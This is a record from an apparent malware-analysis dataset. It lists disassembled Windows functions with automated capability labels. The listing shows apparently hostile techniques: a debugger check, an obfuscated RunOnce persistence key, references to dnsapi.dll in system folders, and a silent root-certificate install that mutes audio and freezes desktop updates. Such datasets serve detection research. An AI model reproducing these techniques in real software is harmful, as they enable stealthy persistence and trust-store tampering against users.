joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a0b28
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
sub esp, 0x8c
lea ebp, [esp - 4]
mov eax, dword [0x517930]
xor eax, ebp
mov dword [ebp + 0x8c], eax
push 0x14
mov eax, 0x4cf964
call fcn.004b9c9d
mov edi, edx
mov esi, ecx
xor eax, eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], eax
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], eax
mov byte [esi], al
mov dword [ebp - 4], eax
xor ecx, ecx
mov ebx, dword [edi + 0x10]
inc ecx
push 0x10
pop edx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], edx
cmp dword [edi + 0x14], edx
jb 0x4a0b7d
mov edi, dword [edi]
push 0xf0000020
push ecx
push eax
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x4a0c2f
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x8003
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x4a0c28
push 0
push ebx
push edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x4a0c21
push 0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp]
push eax
push 2
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
je 0x4a0c1a
xor edi, edi
movzx eax, byte [ebp + edi]
push eax
lea eax, [ebp + 0x80]
push str._02x
push eax
call fcn.004b5e2a
lea eax, [ebp + 0x80]
push eax
call fcn.004a03cf
add esp, 0x10
mov ecx, esi
push eax
lea eax, [ebp + 0x80]
push eax
call fcn.004a0663
inc edi
cmp edi, 0x10
jl 0x4a0bdd
jmp 0x4a0c44
mov edi, str.Error_getting_hash_param
jmp 0x4a0c34
mov edi, str.Error_hashing_data
jmp 0x4a0c34
mov edi, str.Error_creating_hash
jmp 0x4a0c34
mov edi, str.Error_acquiring_context
push edi
call fcn.004a03cf
pop ecx
push eax
push edi
mov ecx, esi
call fcn.004a083c
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x8c]
xor ecx, ebp
call fcn.004b5580
lea esp, [ebp + 0x90]
pop ebp
ret
Function at 0x4a0d00
Capabilities:
Get file size
Read file on windows

Disassembly:
push 0xffffffffffffffff
push 0x4cf994
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push ebp
push esi
push edi
mov eax, dword [0x517930]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov esi, edx
mov edi, ecx
mov eax, dword [esi]
xor ebp, ebp
mov dword [esp + 0x1c], ebp
mov ebx, str.KukusDashis
cmp dword [eax - 0xc], ebp
je 0x4a0e54
push 0x50e4f8
push eax
call fcn.004b70dc
test eax, eax
pop ecx
sete al
pop ecx
test al, al
jne 0x4a0e54
push ebx
push dword [esi]
call fcn.004b70dc
test eax, eax
pop ecx
sete al
pop ecx
test al, al
jne 0x4a0e54
push ebp
push ebp
push 3
push ebp
push ebp
push SysReAllocStringLen
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x4a0d96
push str.KukusDashis
jmp 0x4a0e55
lea eax, [esp + 0x20]
mov dword [esp + 0x20], ebp
push eax
push ebx
mov dword [esp + 0x2c], ebp
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x4a0db7
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4a0d8c
cmp dword [esp + 0x24], ebp
jne 0x4a0dae
cmp dword [esp + 0x20], ebp
jne 0x4a0dd4
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x50e4f8
jmp 0x4a0e55
call fcn.004a1634
push eax
lea ecx, [esp + 0x18]
call fcn.004a10d2
push ebp
lea eax, [esp + 0x1c]
mov dword [esp + 0x34], ebp
push eax
push dword [esp + 0x28]
lea ecx, [esp + 0x20]
mov dword [esp + 0x24], ebp
push dword [esp + 0x2c]
call fcn.004a1845
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [esp + 0x20]
lea ecx, [esp + 0x18]
mov esi, eax
call fcn.004a16f0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
jne 0x4a0e3e
push str.KukusDashis
mov ecx, edi
call fcn.004a0fdb
mov ecx, dword [esp + 0x14]
lea ecx, [ecx - 0x10]
call fcn.004a1719
jmp 0x4a0e5c
mov esi, dword [esp + 0x14]
lea ecx, [esi - 0x10]
call fcn.004a11ce
add eax, 0x10
lea ecx, [esi - 0x10]
mov dword [edi], eax
jmp 0x4a0e37
push ebx
mov ecx, edi
call fcn.004a0fdb
mov eax, edi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret

Function at 0x4a0e72
Capabilities:
Write file on windows

Disassembly:
push 4
mov eax, 0x4cf9b7
call fcn.004b9c9d
xor ebx, ebx
push ebx
push 0x80
push 4
push ebx
push ebx
push 0x40000000
mov dword [ebp - 4], ebx
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4a0ee7
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x10]
push ebx
push ecx
mov dword [ebp - 0x10], ebx
lea ecx, [ebp + 8]
push dword [eax - 0xc]
push ebx
call fcn.004a1845
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, 1
sete bl
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.004a1719
mov al, bl
call fcn.004b9c6b
ret
Function at 0x4a0efa
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
mov esi, edx
push ebx
push 0x80
push 4
push ebx
push ebx
push 0x40000000
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4a0f27
xor al, al
jmp 0x4a0f63
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
lea eax, [ebp - 4]
mov dword [ebp - 4], ebx
push eax
push dword [ebp + 8]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp esi, 1
sete al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4a0f6a
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
mov esi, edx
push ebx
push ebx
push 3
push ebx
push ebx
push SysReAllocStringLen
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4a0fd2
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
je 0x4a0fcb
cmp eax, dword [ebp + 8]
ja 0x4a0fcb
push ebx
lea ecx, [ebp - 4]
mov dword [ebp - 4], ebx
push ecx
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x4a0fd2
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
mov dword [ecx], eax
xor eax, eax
inc eax
jmp 0x4a0fd4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4a13fc
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4a1453
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4a1444
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [esp + 0x10]
lea ecx, [esi + eax]
and edx, 0xf
jbe 0x4a1440
cmp esi, ecx
jae 0x4a1444
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
dec edx
jne 0x4a1430
cmp esi, ecx
jb 0x4a1448
xor eax, eax
jmp 0x4a1452
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x4a2d76
Capabilities:
Check for peb beingdebugged flag
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push edi
xor ebx, ebx
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
call fcn.004a1634
push eax
lea ecx, [ebp - 8]
call fcn.004a10d2
mov eax, dword [ebp + 8]
push ebx
push ebx
push ebx
push ebx
mov dword [ebp - 4], ebx
mov dword [0x52602c], eax
call dword [sym.imp.USER32.dll_DefWindowProcA]
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 8
push eax
mov dword [ebp - 0xc], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
push ebx
call fcn.004b7206
push eax
call fcn.004b7828
push ecx
call fcn.004a6ae2
push str.GlobalMatil_da
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edi, eax
test edi, edi
je 0x4a2e56
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4a2e4f
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
movzx eax, byte [eax + 2]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], ebx
jne 0x4a2e4f
call fcn.004a3f77
test eax, eax
jne 0x4a2e4f
lea eax, [ebp + 8]
push eax
push ebx
push ebx
push 0x4a490d
push ebx
push ebx
call fcn.004b7838
add esp, 0x18
jmp 0x4a2e3e
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x4a2e2a
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.004a6a50
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 8]
lea ecx, [ecx - 0x10]
call fcn.004a1719
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4a2e76
Capabilities:
Contain obfuscated stackstrings
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x517930]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
lea eax, [ebp - 0x44]
mov dword [ebp - 0x40], 0x74666f53
push eax
push 0xf003f
xor ebx, ebx
mov dword [ebp - 0x3c], 0x65726177
push ebx
lea eax, [ebp - 0x40]
mov dword [ebp - 0x38], 0x63694d5c
push eax
push reloc.OLEAUT32.dll_SysReAllocString
mov esi, ecx
mov dword [ebp - 0x34], 0x6f736f72
mov dword [ebp - 0x30], 0x575c7466
mov dword [ebp - 0x2c], 0x6f646e69
mov dword [ebp - 0x28], 0x435c7377
mov dword [ebp - 0x24], 0x65727275
mov dword [ebp - 0x20], 0x6556746e
mov dword [ebp - 0x1c], 0x6f697372
mov dword [ebp - 0x18], 0x75525c6e
mov dword [ebp - 0x14], 0x636e6f6e
mov word [ebp - 0x10], 0x65
mov dword [ebp - 0xc], 0x72646d63
mov word [ebp - 8], 0x6e75
mov byte [ebp - 6], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4a2f32
mov eax, dword [esi]
push dword [eax - 0xc]
push eax
push 1
push ebx
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x44]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.004b5580
mov esp, ebp
pop ebp
ret
Function at 0x4a383a
Capabilities:
Get common file path

Disassembly:
push 0x114
mov eax, 0x4cfb46
call fcn.004b9cd0
call fcn.004a1634
push eax
lea ecx, [ebp - 0x11c]
call fcn.004a10d2
xor esi, esi
mov dword [ebp - 4], esi
call fcn.004a1634
push eax
lea ecx, [ebp - 0x120]
call fcn.004a10d2
lea eax, [ebp - 0x118]
mov byte [ebp - 4], 1
push eax
push esi
push esi
push 0x24
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x4a38f3
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x11c]
call fcn.004a107f
lea ecx, [ebp - 0x11c]
call fcn.004a300a
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x11c]
push str._sSystem32dnsapi.dll
push eax
call fcn.004a6156
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x120]
push str._sSysWOW64dnsapi.dll
push eax
call fcn.004a6156
add esp, 0xc
lea ecx, [ebp - 0x11c]
call fcn.004a3533
lea ecx, [ebp - 0x120]
call fcn.004a3533
mov ecx, dword [ebp - 0x120]
lea ecx, [ecx - 0x10]
call fcn.004a1719
mov ecx, dword [ebp - 0x11c]
lea ecx, [ecx - 0x10]
call fcn.004a1719
call fcn.004b9c7f
ret
Function at 0x4a8354
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x124
mov eax, dword [0x517930]
xor eax, esp
mov dword [esp + 0x120], eax
push ebx
mov ebx, ecx
mov ecx, dword [esp + 0x12c]
push ebp
push esi
xor ebp, ebp
mov dword [esp + 0x1c], ecx
mov eax, dword [ebx + 4]
or eax, 0x2001f
mov dword [esp + 0xc], ebp
push eax
push ecx
push dword [ebx]
lea ecx, [esp + 0x18]
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x20], ebp
call fcn.004a82f6
mov esi, eax
test esi, esi
jne 0x4a8433
lea eax, [esp + 0x20]
mov dword [esp + 0x18], 0x100
push eax
push ebp
push ebp
push ebp
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x3c]
push eax
push ebp
push dword [esp + 0x28]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
call ebp
test eax, eax
jne 0x4a840b
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x10]
call fcn.004a8354
mov esi, eax
test esi, esi
jne 0x4a8433
lea eax, [esp + 0x20]
mov dword [esp + 0x18], 0x100
push eax
push esi
push esi
push esi
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x3c]
push eax
push esi
push dword [esp + 0x28]
call ebp
test eax, eax
je 0x4a83d0
jmp 0x4a840d
xor esi, esi
cmp dword [esp + 0xc], 0
je 0x4a8422
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0xc], esi
push dword [esp + 0x1c]
mov ecx, ebx
mov dword [esp + 0x14], esi
call fcn.004a8505
mov esi, eax
cmp dword [esp + 0xc], 0
je 0x4a8444
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x12c]
mov eax, esi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004b5580
add esp, 0x124
ret 4
Function at 0x4a945a
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0xa0
mov eax, dword [0x517930]
xor eax, ebp
mov dword [ebp + 0x74], eax
mov eax, dword [0x521ef4]
cmp eax, 0x11
jne 0x4a9561
push ebx
push esi
push 0xf
pop ebx
mov esi, 0x9c
lea eax, [ebp - 0x28]
push esi
push 0
push eax
call fcn.004b95d0
add esp, 0xc
mov dword [ebp - 0x28], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x28]
push eax
call esi
test eax, eax
jne 0x4a94c2
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x94
push eax
call esi
test eax, eax
jne 0x4a94c2
push 0x10
pop eax
jmp 0x4a955f
mov eax, dword [ebp - 0x18]
dec eax
je 0x4a9537
dec eax
jne 0x4a9557
mov ecx, dword [ebp - 0x20]
push 3
pop eax
push 4
pop esi
cmp dword [ebp - 0x24], esi
push 5
cmovbe ebx, eax
mov al, byte [ebp + 0x72]
pop edx
cmp dword [ebp - 0x24], edx
jne 0x4a9504
test ecx, ecx
cmove ebx, esi
cmp ecx, 1
cmove ebx, edx
cmp ecx, 2
jne 0x4a9557
cmp al, 1
jne 0x4a9501
mov ebx, edx
jmp 0x4a9557
push 6
pop ebx
cmp dword [ebp - 0x24], 6
jne 0x4a9557
cmp ecx, 2
jne 0x4a951c
push 0xd
pop ebx
push 0xb
cmp al, 1
pop ecx
cmove ebx, ecx
jmp 0x4a9557
xor ebx, ebx
cmp ecx, 1
jne 0x4a952d
cmp al, cl
sete bl
add ebx, 9
jmp 0x4a9557
cmp al, 1
setne bl
add ebx, 7
jmp 0x4a9557
cmp dword [ebp - 0x24], 4
jne 0x4a9557
mov ecx, dword [ebp - 0x20]
xor eax, eax
test ecx, ecx
push 2
cmove ebx, eax
inc eax
cmp ecx, 0xa
cmove ebx, eax
cmp ecx, 0x5a
pop eax
cmove ebx, eax
mov dword [0x521ef4], ebx
mov eax, ebx
pop esi
pop ebx
mov ecx, dword [ebp + 0x74]
xor ecx, ebp
call fcn.004b5580
lea esp, [ebp + 0x78]
pop ebp
ret
Function at 0x4a96a3
Capabilities:
Enumerate processes

Disassembly:
push 0xffffffffffffffff
push 0x4d01ce
mov eax, dword fs:[0]
push eax
sub esp, 0x174
mov eax, dword [0x517930]
xor eax, esp
mov dword [esp + 0x170], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x517930]
xor eax, esp
push eax
lea eax, [esp + 0x188]
mov dword fs:[0], eax
mov ebp, ecx
xor ebx, ebx
lea eax, [esp + 0x60]
push 0x124
push ebx
push eax
mov dword [esp + 0x68], ebx
call fcn.004b95d0
add esp, 0xc
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4a9710
xor al, al
jmp 0x4a97c4
lea eax, [esp + 0x5c]
mov dword [esp + 0x5c], pe_nt_image_headers32
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x4a97bb
lea eax, [esp + 0x80]
push eax
lea ecx, [esp + 0x18]
call fcn.004a0551
mov edx, ebp
mov dword [esp + 0x190], ebx
lea ecx, [esp + 0x44]
call fcn.004a960b
mov esi, eax
lea edx, [esp + 0x14]
mov byte [esp + 0x190], 1
lea ecx, [esp + 0x2c]
call fcn.004a960b
push esi
mov ecx, eax
call fcn.004a05a5
mov ebx, eax
lea ecx, [esp + 0x2c]
neg ebx
sbb bl, bl
xor esi, esi
push esi
push 1
call fcn.004a07fa
push esi
push 1
lea ecx, [esp + 0x4c]
call fcn.004a07fa
or dword [esp + 0x190], 0xffffffff
lea ecx, [esp + 0x14]
push esi
push 1
call fcn.004a07fa
inc bl
jne 0x4a97b9
lea eax, [esp + 0x5c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
xor ebx, ebx
jmp 0x4a9724
mov bl, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov ecx, dword [esp + 0x188]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x170]
xor ecx, esp
call fcn.004b5580
add esp, 0x180
ret
Function at 0x4ab7d0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov eax, dword [0x517930]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [section..data]
cmp eax, 0x11
jne 0x4ab955
push ebx
push 0x9c
lea ebx, [eax - 2]
lea eax, [ebp - 0xa0]
push 0
push eax
call fcn.004b95d0
add esp, 0xc
mov dword [ebp - 0xa0], 0x9c
lea eax, [ebp - 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x4ab853
lea eax, [ebp - 0xa0]
mov dword [ebp - 0xa0], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x4ab853
lea eax, [ebx + 1]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004b5580
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x90]
dec eax
je 0x4ab920
dec eax
jne 0x4ab94c
mov eax, dword [ebp - 0x9c]
mov ecx, 3
cmp eax, 4
cmovbe ebx, ecx
cmp eax, 5
jne 0x4ab8b6
mov eax, dword [ebp - 0x98]
test eax, eax
jne 0x4ab88f
lea ebx, [ecx + 1]
jmp 0x4ab94c
cmp eax, 1
jne 0x4ab89c
lea ebx, [eax + 4]
jmp 0x4ab94c
cmp eax, 2
jne 0x4ab94c
xor ebx, ebx
cmp byte [ebp - 6], 1
setne bl
add ebx, 5
jmp 0x4ab94c
cmp eax, 6
jne 0x4ab94c
cmp dword [ebp - 0x98], ecx
je 0x4ab90e
push 3
call fcn.004ab750
add esp, 4
test eax, eax
jne 0x4ab90e
mov eax, dword [ebp - 0x98]
xor ebx, ebx
cmp eax, 2
jne 0x4ab8f2
cmp byte [ebp - 6], 1
setne bl
lea ebx, [ebx*2 + 0xb]
jmp 0x4ab94c
cmp eax, 1
jne 0x4ab902
cmp byte [ebp - 6], al
sete bl
add ebx, 9
jmp 0x4ab94c
cmp byte [ebp - 6], 1
setne bl
add ebx, 7
jmp 0x4ab94c
xor ebx, ebx
cmp byte [ebp - 6], 1
setne bl
lea ebx, [ebx*2 + 0xc]
jmp 0x4ab94c
cmp dword [ebp - 0x9c], 4
jne 0x4ab94c
mov eax, dword [ebp - 0x98]
test eax, eax
jne 0x4ab937
xor ebx, ebx
jmp 0x4ab94c
cmp eax, 0xa
jne 0x4ab941
lea ebx, [eax - 9]
jmp 0x4ab94c
cmp eax, 0x5a
mov ecx, 2
cmove ebx, ecx
mov dword [section..data], ebx
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004b5580
mov esp, ebp
pop ebp
ret
Function at 0x4af740
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x944
mov eax, dword [0x517930]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
test ecx, ecx
jne 0x4af7b2
push 0x400
lea eax, [ebp - 0x404]
push eax
push str.APPDATA
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x4af780
cmp eax, 0x400
jne 0x4af7cd
push eax
push str.cant_get_env_var__d_n
call fcn.004b6bad
add eax, 0x40
push eax
call fcn.004b97ec
push str.IsDirectoryExist:_Cant_get_env_var
call fcn.004ae970
add esp, 0x10
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004b5580
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 0x404]
sub edx, ecx
lea ebx, [ebx]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x4af7c0
push esi
push edi
lea edi, [ebp - 0x404]
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x4af7d6
mov ax, word [str.23metsy]
mov esi, ebx
mov word [edi], ax
jmp 0x4af7f0
mov al, byte [ebx]
inc ebx
test al, al
jne 0x4af7f0
lea edi, [ebp - 0x404]
sub ebx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4af800
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
xor ecx, ecx
pop esi
lea ebx, [ebx]
mov al, byte [ebp + ecx - 0x404]
lea ecx, [ecx + 1]
test al, al
jne 0x4af820
lea eax, [ebp - 0x944]
push eax
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x4af7a1
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop ebx
call fcn.004b5580
mov esp, ebp
pop ebp
ret
Function at 0x4b0000
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push str.ROOT
push 0
mov dword [ebp - 4], 0
mov ebx, 0x64
call dword [sym.imp.CRYPT32.dll_CertOpenSystemStoreA]
mov dword [ebp - 8], eax
test eax, eax
jne 0x4b0045
push str.the_system_store_did_not_open
call fcn.004b6bad
add eax, 0x40
push eax
call fcn.004b97ec
add esp, 8
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0
call dword [sym.imp.WINMM.dll_waveOutGetVolume]
push 0
push 0
mov dword [0x52212c], 0
call dword [sym.imp.WINMM.dll_waveOutSetVolume]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_LockWindowUpdate]
mov edi, eax
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x4b0130
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 2
push dword [ebp + 0xc]
mov esi, eax
push dword [ebp + 8]
push 0x10001
push dword [ebp - 8]
call dword [sym.imp.CRYPT32.dll_CertAddEncodedCertificateToStore]
push esi
mov dword [ebp - 0xc], eax
mov dword [0x52212c], 1
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x4b00c7
push 0
call dword [sym.imp.USER32.dll_LockWindowUpdate]
push dword [ebp - 4]
push 0
call dword [sym.imp.WINMM.dll_waveOutSetVolume]
cmp dword [ebp - 0xc], 0
jne 0x4b00f3
push str.failed_to_add_cert_to_store_n
call fcn.004b6bad
add eax, 0x40
push eax
call fcn.004b97ec
add esp, 8
or edi, 0xffffffff
jmp 0x4b00f5
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4b0100
cmp dword [0x522128], 0
jne 0x4b0110
push 0x32
call esi
dec ebx
jne 0x4b0100
push 0
push dword [ebp - 8]
call dword [sym.imp.CRYPT32.dll_CertCloseStore]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4b2460
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d0bd7
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x517930]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov dword [edi], 0x4d3014
lea ecx, [edi + 8]
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
call fcn.004b2ea0
mov dword [edi + 8], eax
lea ecx, [edi + 0x10]
mov dword [ebp - 4], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
call fcn.004b2e70
mov dword [edi + 0x10], eax
mov dword [edi + 0x2c], 0xf
mov dword [edi + 0x28], 0
mov byte [edi + 0x18], 0
mov dword [edi + 0x44], 0xf
mov dword [edi + 0x40], 0
mov byte [edi + 0x30], 0
mov dword [edi + 0x5c], 0xf
mov dword [edi + 0x58], 0
mov byte [edi + 0x48], 0
mov dword [edi + 0x74], 0xf
mov dword [edi + 0x70], 0
mov byte [edi + 0x60], 0
mov dword [edi + 0x8c], 0xf
mov dword [edi + 0x88], 0
mov byte [edi + 0x78], 0
mov word [edi + 0x90], 0
xor eax, eax
mov byte [edi + 0x92], 0
mov dword [edi + 0xa8], 7
mov dword [edi + 0xa4], 0
mov word [edi + 0x94], ax
mov dword [edi + 0xc0], 0xf
mov dword [edi + 0xbc], eax
mov byte [edi + 0xac], al
mov dword [edi + 0xd8], 0xf
mov dword [edi + 0xd4], eax
mov byte [edi + 0xc4], al
mov byte [ebp - 4], 9
mov word [edi + 0xdc], ax
call fcn.004b0b90
mov dword [edi + 4], eax
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret